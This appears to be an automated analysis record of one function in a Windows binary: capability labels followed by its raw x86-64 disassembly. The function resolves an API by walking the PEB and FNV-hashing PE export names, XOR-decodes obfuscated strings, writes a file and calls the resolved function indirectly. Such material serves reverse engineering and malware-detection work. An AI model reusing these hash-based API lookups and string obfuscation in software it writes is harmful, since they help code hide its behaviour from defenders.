Function at 0x180022b90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
movaps xmmword [rsp + 0x70], xmm6
lea rax, [rbp - 0x50]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor ebx, ebx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
lea r14, [0x1801c7790]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [r14 + r8], bl
jne 0x180022bd7
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.180017ff0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
lea rsi, [0x1801c7780]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x180022c03
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.180017ff0
nop
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x30]
lea rcx, [0x1801c7840]
call fcn.1800047c0
cmp byte [0x1801c7a78], 0
je 0x180022cf3
mov eax, dword [0x180161738]
mov dword [rbp + 0x20], eax
movzx eax, word [0x18016173c]
mov word [rbp + 0x24], ax
mov byte [rbp + 0x20], Ordinal_79
xor byte [rbp + 0x21], 0x32
xor byte [rbp + 0x22], 0x33
xor byte [rbp + 0x23], 0x34
xor al, 0x35
mov byte [rbp + 0x24], al
xor byte [rbp + 0x25], 0x36
lea r8, [0x180161750]
lea rdx, [rbp + 0x20]
lea rcx, [0x1801c77d8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x1801c77d8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov r9, qword [0x1801c77d8]
mov edx, 0xa
lea r8d, [rdx - 9]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [0x1801c77d8]
mov edx, 0xa
lea r8d, [rdx - 9]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [0x1801c77d8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov byte [0x1801c8028], 1
mov dword [0x1801c7b50], 1
mov dword [0x1801c7b4c], 3
jmp 0x180022f51
mov r10, qword [0x1801c8048]
test r10, r10
jne 0x180022db7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x180022d97
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x180022d97
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x180022d92
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x180022d70
cmp edx, 0x23a979e4
je 0x180022f6e
test r8d, r8d
jne 0x180022d50
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x180022dad
cmp qword [rax + 0x30], 0
jne 0x180022d20
mov r10, rbx
mov qword [0x1801c8048], r10
mov eax, dword [0x180161748]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x18016174c]
movsd xmm0, qword [str.wSZXPR]
mov byte [rbp - 0x54], al
movsd qword [rbp - 0x60], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x180022ef2
movdqa xmm4, xmmword [0x180161b50]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x180161a50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180161a70]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180161a80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
movd xmm0, dword [str.wSZXPR]
xorps xmm2, xmm0
movd dword [rbp - 0x60], xmm2
movdqa xmm3, xmmword [0x180161a60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180161a70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180161a80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
movd xmm0, dword [rbp - 0x5c]
xorps xmm2, xmm0
movd dword [rbp - 0x5c], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x180022f00
lea rdx, [0x1801c7a80]
cmp qword [0x1801c7a98], 0x10
cmovae rdx, qword [0x1801c7a80]
xor r9d, r9d
lea r8, [rbp - 0x60]
xor ecx, ecx
call r10
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
movaps xmm6, xmmword [rsp + 0x70]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x180022db0